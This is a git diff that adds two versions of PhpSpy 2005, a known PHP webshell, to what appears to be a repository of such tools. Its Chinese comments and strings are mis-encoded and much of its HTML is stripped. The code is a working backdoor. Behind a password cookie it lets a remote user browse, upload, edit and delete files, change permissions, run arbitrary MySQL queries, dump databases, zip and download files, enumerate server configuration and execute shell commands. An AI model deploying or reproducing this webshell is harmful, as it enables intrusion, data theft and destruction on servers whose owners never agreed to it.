ÈýÃëºó×Ô¶¯Í˳ö»òµ¥»÷ÕâÀïÍ˳ö³ÌÐò½çÃæ>>>"; + exit; + } + if ($login) { + $adminpass=trim($_POST['adminpass']); + if ($adminpass==$admin['pass']) { + setcookie ("adminpass",$admin['pass'],time()+(1*24*3600)); + echo ""; + echo "µÇ½³É¹¦......

ÈýÃëºó×Ô¶¯Ìø×ª»òµ¥»÷ÕâÀï½øÈë³ÌÐò½çÃæ>>>"; + exit; + } + } + if (isset($_COOKIE['adminpass'])) { + if ($_COOKIE['adminpass']!=$admin['pass']) { + loginpage(); + } + } else { + loginpage(); + } + } + +}//end check +/*===================== ÑéÖ¤½áÊø =====================*/ + +// ÅÐ¶Ï magic_quotes_gpc ״̬ +if (get_magic_quotes_gpc()) { + $_GET = stripslashes_array($_GET); + $_POST = stripslashes_array($_POST); +} + +if ($_GET['action'] == "phpinfo") { + $dis_func = get_cfg_var("disable_functions"); + echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() º¯ÊýÒѱ»½ûÓÃ,Çë²é¿´<PHP»·¾³±äÁ¿>"; + exit; +} + +// ÏÂÔØÎļþ +if (!empty($downfile)) { + if (!@file_exists($downfile)) { + echo ""; + } else { + $filename = basename($downfile); + $filename_info = explode('.', $filename); + $fileext = $filename_info[count($filename_info)-1]; + header('Content-type: application/x-'.$fileext); + header('Content-Disposition: attachment; filename='.$filename); + header('Content-Description: PHP Generated Data'); + header('Content-Length: '.filesize($downfile)); + @readfile($downfile); + exit; + } +} + + + +// ³ÌÐòĿ¼ +$pathname=str_replace('\\','/',dirname(__FILE__)); + +// »ñÈ¡µ±Ç°Â·¾¶ +if (!isset($dir) or empty($dir)) { + $dir = "."; + $nowpath = getPath($pathname, $dir); +} else { + $dir=$_GET['dir']; + $nowpath = getPath($pathname, $dir); +} + +// Åж϶ÁдÇé¿ö +if (dir_writeable($nowpath)) { + $dir_writeable = "¿Éд"; +} else { + $dir_writeable = "²»¿Éд"; +} + +$dis_func = get_cfg_var("disable_functions"); +$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : ""; +$shellmode=(!get_cfg_var("safe_mode")) ? " | WebShell" : ""; +?> + + + +PhpSpy Ver 2005 + + + + + +

+ + + + + + + + + +
:
×¢Ïú»á»° | ·µ»Ø PhpSpy Ŀ¼ | PHP»·¾³±äÁ¿ | SQL Query | MySQL Backup | Version 2005
+
+ + + + + + + + + + + + + + + + + + + + + +

³ÌÐò·¾¶:
µ±Ç°Ä¿Â¼(,): +
Ìø×ªÄ¿Â¼: + + ¡¼Ö§³Ö¾ø¶Ô·¾¶ºÍÏà¶Ô·¾¶¡½ +

ÉÏ´«Îļþµ½µ±Ç°Ä¿Â¼: + +
н¨ÎļþÔÚµ±Ç°Ä¿Â¼: + +
н¨Ä¿Â¼ÔÚµ±Ç°Ä¿Â¼: + +
+
+\n"; +// ɾ³ýÎļþ +if(@$delfile!="") { + if(file_exists($delfile)) { + if (@unlink($delfile)) { + echo "".$delfile." ɾ³ý³É¹¦!"; + } else { + echo "Îļþɾ³ýʧ°Ü!"; + } + } else { + echo "ÎļþÒѲ»´æÔÚ,ɾ³ýʧ°Ü!"; + } +} + +// ɾ³ýĿ¼ +elseif($rmdir) { + if($deldir!="") { + $deldirs="$dir/$deldir"; + if(!file_exists("$deldirs")) { + echo "Ŀ¼ÒѲ»´æÔÚ!"; + } else { + deltree($deldirs); + } + } else { + echo "ɾ³ýʧ°Ü!"; + } +} + +// ´´½¨Ä¿Â¼ +elseif($createdirectory) { + if(!empty($newdirectory)) { + $mkdirs="$dir/$newdirectory"; + if(file_exists("$mkdirs")) { + echo "¸ÃĿ¼ÒÑ´æÔÚ!"; + } else { + echo $msg=@mkdir("$mkdirs",0777) ? "´´½¨Ä¿Â¼³É¹¦!" : "´´½¨Ê§°Ü!"; + @chmod("$mkdirs",0777); + } + } +} + +// ÉÏ´«Îļþ +elseif($uploadfile) { + echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadmyfile']['name']."") ? "ÉÏ´«³É¹¦!" : "ÉÏ´«Ê§°Ü!"; +} + +// ±à¼­Îļþ +elseif($doeditfile) { + $filename="$editfilename"; + @$fp=fopen("$filename","w"); + echo $msg=@fwrite($fp,$_POST['filecontent']) ? "дÈëÎļþ³É¹¦!" : "дÈëʧ°Ü!"; + @fclose($fp); +} + +// ±à¼­ÎļþÊôÐÔ +elseif($editfileperm) { + $fileperm=base_convert($_POST['fileperm'],8,10); + echo $msg=@chmod($dir."/".$file,$fileperm) ? "ÊôÐÔÐ޸ijɹ¦!" : "ÐÞ¸Äʧ°Ü!"; + echo " [".$file."] Ð޸ĺóµÄÊôÐÔΪ:".substr(base_convert(@fileperms($dir."/".$file),10,8),-4).""; +} + +// Á¬½ÓMYSQL +elseif($connect) { + if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) { + echo "Êý¾Ý¿âÁ¬½Ó³É¹¦!"; + mysql_close(); + } else { + echo mysql_error(); + } +} + +// Ö´ÐÐSQLÓï¾ä +elseif($doquery) { + @mysql_connect($servername,$dbusername,$dbpassword) or die("Êý¾Ý¿âÁ¬½Óʧ°Ü"); + @mysql_select_db($dbname) or die("Ñ¡ÔñÊý¾Ý¿âʧ°Ü"); + $result = @mysql_query($_POST['sql_query']); + echo ($result) ? "SQLÓï¾ä³É¹¦Ö´ÐÐ" : "³ö´í: ".mysql_error(); + mysql_close(); +} + +// ±¸·Ý²Ù×÷ +elseif ($dobackup) { + if (empty($_POST[table])) { + echo "ÇëÑ¡ÔñÓû±¸·ÝµÄÊý¾Ý±í"; + } else { + @mysql_connect($servername,$dbusername,$dbpassword) or die("Êý¾Ý¿âÁ¬½Óʧ°Ü"); + @mysql_select_db($dbname) or die("Ñ¡ÔñÊý¾Ý¿âʧ°Ü"); + $table = array_flip($_POST[table]); + $filehandle = @fopen($path,"w"); + if ($filehandle) { + $result = mysql_query("SHOW tables"); + echo ($result) ? NULL : "³ö´í: ".mysql_error(); + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + sqldumptable($currow[0], $filehandle); + fwrite($filehandle,"\n\n\n"); + } + } + fclose($filehandle); + echo "Êý¾Ý¿âÒѳɹ¦±¸·Ýµ½ ".$path.""; + mysql_close(); + } else { + echo "±¸·Ýʧ°Ü,ÇëÈ·ÈÏÄ¿±êÎļþ¼ÐÊÇ·ñ¾ßÓпÉдȨÏÞ."; + } + } +} + +// ´ò°üÏÂÔØ PS:ÎļþÌ«´ó¿ÉÄܷdz£Âý +// Thx : С»¨ +elseif($downrar) { + if ($dl != "") { + $dfiles=""; + foreach ($dl AS $filepath=>$value) { + $dfiles.=$filepath.","; + } + $dfiles=substr($dfiles,0,strlen($dfiles)-1); + $dl=explode(",",$dfiles); + + $zip=new PHPZip($dl); + $code=$zip->out; + $filename=$_POST['rarfile']; + + header("Content-type: application/octet-stream"); + header("Accept-Ranges: bytes"); + header("Accept-Length: ".strlen($code)); + header("Content-Disposition: attachment;filename=".$filename); + echo $code; + exit; + } else { + echo "ÇëÑ¡ÔñÒª´ò°üÏÂÔØµÄÎļþ."; + } +} + +// ²é¿´PHPÅäÖòÎÊý×´¿ö +elseif($viewphpvar) { + echo "ÅäÖòÎÊý ".$_POST['phpvarname']." ¼ì²â½á¹û: ".getphpcfg($_POST['phpvarname']).""; +} + +else { + echo "±¾³ÌÐòÓÉ Security Angel С×é angel [BST] ¶ÀÁ¢¿ª·¢,¿ÉÔÚ www.4ngel.net ÏÂÔØ×îа汾."; +} + +echo "

\n"; +/*===================== Ö´ÐвÙ×÷ ½áÊø =====================*/ + +if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { +?> + + + + + + + + + +\n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo "\n"; + $dir_i++; + } else { + if($file=="..") { + echo "\n"; + echo " \n"; + echo "\n"; + } + } + } +}//while +@closedir($dirs); +?> + + + + +".@date("Y-m-d H:i:s",@filectime($filepath)).""; + $mtime="".@date("Y-m-d H:i:s",@filemtime($filepath)).""; + } + @$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4); + echo "\n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo "\n"; + $file_i++; + } +} +@closedir($dirs); +?> + + + + +
Îļþ´´½¨ÈÕÆÚ×îºóÐ޸ĴóСÊôÐÔ²Ù×÷
[$file]$ctime$mtime<dir>$dirpermɾ³ý
·µ»ØÉϼ¶Ä¿Â¼
$file$ctime$mtime$size KB$filepermÏÂÔØ | ±à¼­ | ɾ³ý
+ + + + +
¸öĿ¼ / ¸öÎļþ
+ + + + + + + + + + + + + + + + + +
н¨/±à¼­Îļþ [·µ»Ø]
µ±Ç°Îļþ: ÊäÈëÐÂÎļþÃûÔò½¨Á¢ÐÂÎļþ
+
+ + + + + + + + + + + + + + + + +
WebShell Mode
Ìáʾ:Èç¹ûÊä³ö½á¹û²»ÍêÈ«,½¨Òé°ÑÊä³ö½á¹ûдÈëÎļþ.ÕâÑù¿ÉÒԵõ½È«²¿ÄÚÈÝ.
+ Ñ¡ÔñÖ´Ðк¯Êý: + ¡¡ + ÊäÈëÃüÁî: + +
+ +

Safe_Mode ÒÑ´ò¿ª, ÎÞ·¨Ö´ÐÐϵͳÃüÁî.

+ + + + + + + + + + + + + +
ɾ³ý Ŀ¼
×¢Òâ:Èç¹û¸ÃĿ¼·Ç¿Õ,´Ë´Î²Ù×÷½«»áɾ³ý¸ÃĿ¼ÏµÄËùÓÐÎļþ.ÄúÈ·¶¨Âð?
+ +
+ + + + + + + + + + +
ÐÞ¸ÄÎļþÊôÐÔ [·µ»Ø]
µÄÊôÐÔΪ: + " class="input"> + +
+ + + + + + + + + + + + + + + + +
Ö´ÐÐ SQL Óï¾ä
Host: + + User: + + Pass: + + DB: + +
+ + + + + + + + + + \n"; + echo " \n"; + echo "\n"; + } else { + ?> + + + + + + + \n"; + echo "
±¸·Ý MySQL Êý¾Ý¿â
Host: + + User: + + Pass: + + DB: + +
ÄúûÓÐÁ¬½ÓÊý¾Ý¿â or µ±Ç°Êý¾Ý¿âûÓÐÈκÎÊý¾Ý±í
+ + + + + + + +
ÇëÑ¡Ôñ±í:
±¸·ÝÊý¾ÝËù±£´æµÄ·¾¶:
\n"; + @mysql_close(); +}//end sql backup + +elseif ($_GET['action'] == "phpenv") { + $upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "²»ÔÊÐíÉÏ´«"; + + $adminmail=(isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; + + $dis_func = get_cfg_var("disable_functions"); + if ($dis_func == "") { + $dis_func = "No"; + }else { + $dis_func = str_replace(" ","
",$dis_func); + $dis_func = str_replace(",","
",$dis_func); + } + + $phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + + $info[0] = array("·þÎñÆ÷ʱ¼ä",date("YÄêmÔÂdÈÕ h:i:s",time())); + $info[1] = array("·þÎñÆ÷ÓòÃû","$_SERVER[SERVER_NAME]"); + $info[2] = array("·þÎñÆ÷IPµØÖ·",gethostbyname($_SERVER['SERVER_NAME'])); + $info[3] = array("·þÎñÆ÷²Ù×÷ϵͳ",PHP_OS); + $info[5] = array("·þÎñÆ÷²Ù×÷ϵͳÎÄ×Ö±àÂë",$_SERVER['HTTP_ACCEPT_LANGUAGE']); + $info[6] = array("·þÎñÆ÷½âÒëÒýÇæ",$_SERVER['SERVER_SOFTWARE']); + $info[7] = array("Web·þÎñ¶Ë¿Ú",$_SERVER['SERVER_PORT']); + $info[8] = array("PHPÔËÐз½Ê½",strtoupper(php_sapi_name())); + $info[9] = array("PHP°æ±¾",PHP_VERSION); + $info[10] = array("ÔËÐÐÓÚ°²È«Ä£Ê½",getphpcfg("safemode")); + $info[11] = array("·þÎñÆ÷¹ÜÀíÔ±",$adminmail); + $info[12] = array("±¾Îļþ·¾¶",__FILE__); + + $info[13] = array("ÔÊÐíʹÓà URL ´ò¿ªÎļþ allow_url_fopen",getphpcfg("allow_url_fopen")); + $info[14] = array("ÔÊÐí¶¯Ì¬¼ÓÔØÁ´½Ó¿â enable_dl",getphpcfg("enable_dl")); + $info[15] = array("ÏÔʾ´íÎóÐÅÏ¢ display_errors",getphpcfg("display_errors")); + $info[16] = array("×Ô¶¯¶¨ÒåÈ«¾Ö±äÁ¿ register_globals",getphpcfg("register_globals")); + $info[17] = array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc")); + $info[18] = array("³ÌÐò×î¶àÔÊÐíʹÓÃÄÚ´æÁ¿ memory_limit",getphpcfg("memory_limit")); + $info[19] = array("POST×î´ó×Ö½ÚÊý post_max_size",getphpcfg("post_max_size")); + $info[20] = array("ÔÊÐí×î´óÉÏ´«Îļþ upload_max_filesize",$upsize); + $info[21] = array("³ÌÐò×ÔËÐÐʱ¼ä max_execution_time",getphpcfg("max_execution_time")."Ãë"); + $info[22] = array("±»½ûÓõĺ¯Êý disable_functions",$dis_func); + $info[23] = array("phpinfo()",$phpinfo); + $info[24] = array("Ŀǰ»¹ÓпÕÓà¿Õ¼ädiskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'); + + $info[25] = array("ͼÐδ¦Àí GD Library",getfun("imageline")); + $info[26] = array("IMAPµç×ÓÓʼþϵͳ",getfun("imap_close")); + $info[27] = array("MySQLÊý¾Ý¿â",getfun("mysql_close")); + $info[28] = array("SyBaseÊý¾Ý¿â",getfun("sybase_close")); + $info[29] = array("OracleÊý¾Ý¿â",getfun("ora_close")); + $info[30] = array("Oracle 8 Êý¾Ý¿â",getfun("OCILogOff")); + $info[31] = array("PRELÏàÈÝÓï·¨ PCRE",getfun("preg_match")); + $info[32] = array("PDFÎĵµÖ§³Ö",getfun("pdf_close")); + $info[33] = array("Postgre SQLÊý¾Ý¿â",getfun("pg_close")); + $info[34] = array("SNMPÍøÂç¹ÜÀíЭÒé",getfun("snmpget")); + $info[35] = array("ѹËõÎļþÖ§³Ö(Zlib)",getfun("gzclose")); + $info[36] = array("XML½âÎö",getfun("xml_set_object")); + $info[37] = array("FTP",getfun("ftp_login")); + $info[38] = array("ODBCÊý¾Ý¿âÁ¬½Ó",getfun("odbc_close")); + $info[39] = array("SessionÖ§³Ö",getfun("session_start")); + $info[40] = array("SocketÖ§³Ö",getfun("fsockopen")); +?> + + + + + + + + + + + + + + + + +"; +}//end phpenv +?> +
+
²é¿´PHPÅäÖòÎÊý×´¿ö
ÇëÊäÈëÅäÖòÎÊý(Èç:magic_quotes_gpc):
+ +\n"; + } + }elseif($a == 1){ + for($i=13;$i<=24;$i++){ + echo "\n"; + } + }elseif($a == 2){ + for($i=25;$i<=40;$i++){ + echo "\n"; + } + } +?> +
".$info[$i][0]."".$info[$i][1]."
".$info[$i][0]."".$info[$i][1]."
".$info[$i][0]."".$info[$i][1]."
+
+ + + + +
Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.
+
+ + + + + +
+ Password: + +
+read()) { + if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { + @chmod("$deldir/$file",0777); + deltree("$deldir/$file"); + } + if (is_file("$deldir/$file")) { + @chmod("$deldir/$file",0777); + @unlink("$deldir/$file"); + } + } + $mydir->close(); + @chmod("$deldir",0777); + echo @rmdir($deldir) ? "Ŀ¼ɾ³ý³É¹¦!" : "Ŀ¼ɾ³ýʧ°Ü!"; + } + + // Åж϶ÁдÇé¿ö + function dir_writeable($dir) { + if (!is_dir($dir)) { + @mkdir($dir, 0777); + } + if(is_dir($dir)) { + if ($fp = @fopen("$dir/test.txt", 'w')) { + @fclose($fp); + @unlink("$dir/test.txt"); + $writeable = 1; + } else { + $writeable = 0; + } + } + return $writeable; + } + + // ±í¸ñÐмäµÄ±³¾°É«Ìæ»» + function getrowbg() { + global $bgcounter; + if ($bgcounter++%2==0) { + return "firstalt"; + } else { + return "secondalt"; + } + } + + // »ñÈ¡µ±Ç°µÄÎļþϵͳ·¾¶ + function getPath($mainpath, $relativepath) { + global $dir; + $mainpath_info = explode('/', $mainpath); + $relativepath_info = explode('/', $relativepath); + $relativepath_info_count = count($relativepath_info); + for ($i=0; $i<$relativepath_info_count; $i++) { + if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue; + if ($relativepath_info[$i] == '..') { + $mainpath_info_count = count($mainpath_info); + unset($mainpath_info[$mainpath_info_count-1]); + continue; + } + $mainpath_info[count($mainpath_info)] = $relativepath_info[$i]; + } //end for + return implode('/', $mainpath_info); + } + + // ¼ì²éPHPÅäÖòÎÊý + function getphpcfg($varname) { + switch($result = get_cfg_var($varname)) { + case 0: + return No; + break; + case 1: + return Yes; + break; + default: + return $result; + break; + } + } + + // ¼ì²éº¯ÊýÇé¿ö + function getfun($funName) { + return (false !== function_exists($funName)) ? Yes : No; + } + + // ѹËõ´ò°üÀà + class PHPZip{ + var $out=''; + function PHPZip($dir, $zipfilename="") { + if (@function_exists('gzcompress')) { + $curdir = getcwd(); + if (is_array($dir)) $filelist = $dir; + else{ + $filelist=$this -> GetFileList($dir);//ÎļþÁбí + foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); + } + if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); + else chdir($curdir); + if (count($filelist)>0){ + foreach($filelist as $filename){ + if (is_file($filename)){ + $fd = fopen ($filename, "r"); + $content = @fread ($fd, filesize ($filename)); + fclose ($fd); + if (is_array($dir)) $filename = basename($filename); + $this -> addFile($content, $filename); + } + } + $this->out = $this -> file(); + chdir($curdir); + // ÏÂÃæ½«Éú³ÉµÄÄÚÈÝ$outдÈëÎļþ,Èç¹ûÐèÒªÔÚ·þÎñÆ÷Éú³ÉѹËõ°ü£¬ÇëÈ¥µô×¢ÊÍ + /*$fp = fopen($zipfilename, "w"); + fwrite($fp, $this->out, strlen($this->out)); + fclose($fp); + */ + } + return 1; + } + else return 0; + } + + // »ñµÃÖ¸¶¨Ä¿Â¼ÎļþÁбí + function GetFileList($dir){ + static $a; + if (is_dir($dir)) { + if ($dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + if($file!='.' && $file!='..'){ + $f=$dir .'/'. $file; + if(is_dir($f)) $this->GetFileList($f); + $a[]=$f; + } + } + closedir($dh); + } + } + return $a; + } + + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } // end if + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + function addFile($data, $name, $time = 0) { + $name = str_replace('\\', '/', $name); + + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + + $fr .= $zdata; + + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + + $this -> ctrl_dir[] = $cdrec; + } + + function file() { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } + } + + // ±¸·ÝÊý¾Ý¿â + function sqldumptable($table, $fp=0) { + $tabledump = "DROP TABLE IF EXISTS $table;\n"; + $tabledump .= "CREATE TABLE $table (\n"; + + $firstfield=1; + + $fields = mysql_query("SHOW FIELDS FROM $table"); + while ($field = mysql_fetch_array($fields)) { + if (!$firstfield) { + $tabledump .= ",\n"; + } else { + $firstfield=0; + } + $tabledump .= " $field[Field] $field[Type]"; + if (!empty($field["Default"])) { + $tabledump .= " DEFAULT '$field[Default]'"; + } + if ($field['Null'] != "YES") { + $tabledump .= " NOT NULL"; + } + if ($field['Extra'] != "") { + $tabledump .= " $field[Extra]"; + } + } + mysql_free_result($fields); + + $keys = mysql_query("SHOW KEYS FROM $table"); + while ($key = mysql_fetch_array($keys)) { + $kname=$key['Key_name']; + if ($kname != "PRIMARY" and $key['Non_unique'] == 0) { + $kname="UNIQUE|$kname"; + } + if(!is_array($index[$kname])) { + $index[$kname] = array(); + } + $index[$kname][] = $key['Column_name']; + } + mysql_free_result($keys); + + while(list($kname, $columns) = @each($index)) { + $tabledump .= ",\n"; + $colnames=implode($columns,","); + + if ($kname == "PRIMARY") { + $tabledump .= " PRIMARY KEY ($colnames)"; + } else { + if (substr($kname,0,6) == "UNIQUE") { + $kname=substr($kname,7); + } + $tabledump .= " KEY $kname ($colnames)"; + } + } + + $tabledump .= "\n);\n\n"; + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + + $rows = mysql_query("SELECT * FROM $table"); + $numfields = mysql_num_fields($rows); + while ($row = mysql_fetch_array($rows)) { + $tabledump = "INSERT INTO $table VALUES("; + + $fieldcounter=-1; + $firstfield=1; + while (++$fieldcounter<$numfields) { + if (!$firstfield) { + $tabledump.=", "; + } else { + $firstfield=0; + } + + if (!isset($row[$fieldcounter])) { + $tabledump .= "NULL"; + } else { + $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; + } + } + + $tabledump .= ");\n"; + + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + } + mysql_free_result($rows); + } +?> \ No newline at end of file diff --git a/php/phpspy/phpspy_2005_lite.php b/php/phpspy/phpspy_2005_lite.php new file mode 100644 index 0000000..4084c6a --- /dev/null +++ b/php/phpspy/phpspy_2005_lite.php @@ -0,0 +1,659 @@ +"; + echo "×¢Ïú³É¹¦......

ÈýÃëºó×Ô¶¯Í˳ö»òµ¥»÷ÕâÀïÍ˳ö³ÌÐò½çÃæ>>>"; + exit; + } + if ($login) { + $adminpass=trim($_POST['adminpass']); + if ($adminpass==$admin['pass']) { + setcookie ("adminpass",$admin['pass'],time()+(1*24*3600)); + echo ""; + echo "µÇ½³É¹¦......

ÈýÃëºó×Ô¶¯Ìø×ª»òµ¥»÷ÕâÀï½øÈë³ÌÐò½çÃæ>>>"; + exit; + } + } + if (isset($_COOKIE['adminpass'])) { + if ($_COOKIE['adminpass']!=$admin['pass']) { + loginpage(); + } + } else { + loginpage(); + } +}//end check +/*===================== ÑéÖ¤½áÊø =====================*/ + +// ÅÐ¶Ï magic_quotes_gpc ״̬ +if (get_magic_quotes_gpc()) { + $_GET = stripslashes_array($_GET); + $_POST = stripslashes_array($_POST); +} + +if ($_GET['action'] == "phpinfo") { + $dis_func = get_cfg_var("disable_functions"); + echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() º¯ÊýÒѱ»½ûÓÃ,Çë²é¿´<PHP»·¾³±äÁ¿>"; + exit; +} + +// ÏÂÔØÎļþ +if (!empty($downfile)) { + if (!@file_exists($downfile)) { + echo ""; + } else { + $filename = basename($downfile); + $filename_info = explode('.', $filename); + $fileext = $filename_info[count($filename_info)-1]; + header('Content-type: application/x-'.$fileext); + header('Content-Disposition: attachment; filename='.$filename); + header('Content-Description: PHP Generated Data'); + header('Content-Length: '.filesize($downfile)); + @readfile($downfile); + exit; + } +} + +// ³ÌÐòĿ¼ +$pathname=str_replace('\\','/',dirname(__FILE__)); + +// »ñÈ¡µ±Ç°Â·¾¶ +if (!isset($dir) or empty($dir)) { + $dir = "."; + $nowpath = getPath($pathname, $dir); +} else { + $dir=$_GET['dir']; + $nowpath = getPath($pathname, $dir); +} + +// Åж϶ÁдÇé¿ö +if (dir_writeable($nowpath)) { + $dir_writeable = "¿Éд"; +} else { + $dir_writeable = "²»¿Éд"; +} + +$dis_func = get_cfg_var("disable_functions"); +$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : ""; +$shellmode=(!get_cfg_var("safe_mode")) ? " | WebShell" : ""; +?> + + + +PhpSpy Ver 2005 + + + + +

+ + + + + + + + + +
:
×¢Ïú»á»° | ·µ»Ø PhpSpy Ŀ¼ | PHP»·¾³±äÁ¿ | SQL Query | Version 2005
+
+ + + + + + + + + + + + + + + + +

³ÌÐò·¾¶:
µ±Ç°Ä¿Â¼(,): +
Ìø×ªÄ¿Â¼: + + ¡¼Ö§³Ö¾ø¶Ô·¾¶ºÍÏà¶Ô·¾¶¡½ +

ÉÏ´«Îļþµ½µ±Ç°Ä¿Â¼: +
н¨ÎļþÔÚµ±Ç°Ä¿Â¼: + +
+
+\n"; +// ɾ³ýÎļþ +if(@$delfile!="") { + if(file_exists($delfile)) { + if (@unlink($delfile)) { + echo "".$delfile." ɾ³ý³É¹¦!"; + } else { + echo "Îļþɾ³ýʧ°Ü!"; + } + } else { + echo "ÎļþÒѲ»´æÔÚ,ɾ³ýʧ°Ü!"; + } +} + +// ɾ³ýĿ¼ +elseif($rmdir) { + if($deldir!="") { + $deldirs="$dir/$deldir"; + if(!file_exists("$deldirs")) { + echo "Ŀ¼ÒѲ»´æÔÚ!"; + } else { + deltree($deldirs); + } + } else { + echo "ɾ³ýʧ°Ü!"; + } +} + +// ÉÏ´«Îļþ +elseif($uploadfile) { + echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadmyfile']['name']."") ? "ÉÏ´«³É¹¦!" : "ÉÏ´«Ê§°Ü!"; +} + +// ±à¼­Îļþ +elseif($doeditfile) { + $filename="$editfilename"; + @$fp=fopen("$filename","w"); + echo $msg=@fwrite($fp,$_POST['filecontent']) ? "дÈëÎļþ³É¹¦!" : "дÈëʧ°Ü!"; + @fclose($fp); +} + +// Á¬½ÓMYSQL +elseif($connect) { + if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) { + echo "Êý¾Ý¿âÁ¬½Ó³É¹¦!"; + mysql_close(); + } else { + echo mysql_error(); + } +} + +// Ö´ÐÐSQLÓï¾ä +elseif($doquery) { + @mysql_connect($servername,$dbusername,$dbpassword) or die("Êý¾Ý¿âÁ¬½Óʧ°Ü"); + @mysql_select_db($dbname) or die("Ñ¡ÔñÊý¾Ý¿âʧ°Ü"); + $result = @mysql_query($_POST['sql_query']); + echo ($result) ? "SQLÓï¾ä³É¹¦Ö´ÐÐ" : "³ö´í: ".mysql_error(); + mysql_close(); +} + +// ²é¿´PHPÅäÖòÎÊý×´¿ö +elseif($viewphpvar) { + echo "ÅäÖòÎÊý ".$_POST['phpvarname']." ¼ì²â½á¹û: ".getphpcfg($_POST['phpvarname']).""; +} + +else { + echo "±¾³ÌÐòÓÉ Security Angel С×é angel [BST] ¶ÀÁ¢¿ª·¢,¿ÉÔÚ www.4ngel.net ÏÂÔØ×îа汾."; +} + +echo "

\n"; +/*===================== Ö´ÐвÙ×÷ ½áÊø =====================*/ + +if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { +?> + + + + + + + + + +\n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo "\n"; + $dir_i++; + } else { + if($file=="..") { + echo "\n"; + echo " \n"; + echo "\n"; + } + } + } +}//while +@closedir($dirs); +?> + + + +\n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo "\n"; + $file_i++; + } +} +@closedir($dirs); +?> + + + +
Îļþ´´½¨ÈÕÆÚ×îºóÐ޸ĴóСÊôÐÔ²Ù×÷
[$file]$ctime$mtime<dir>$dirpermɾ³ý
·µ»ØÉϼ¶Ä¿Â¼
$file$ctime$mtime$size KB$filepermÏÂÔØ | ±à¼­ | ɾ³ý
¸öĿ¼ / ¸öÎļþ
+ + + + + + + + + + + + + + + + + + + +
н¨/±à¼­Îļþ [·µ»Ø]
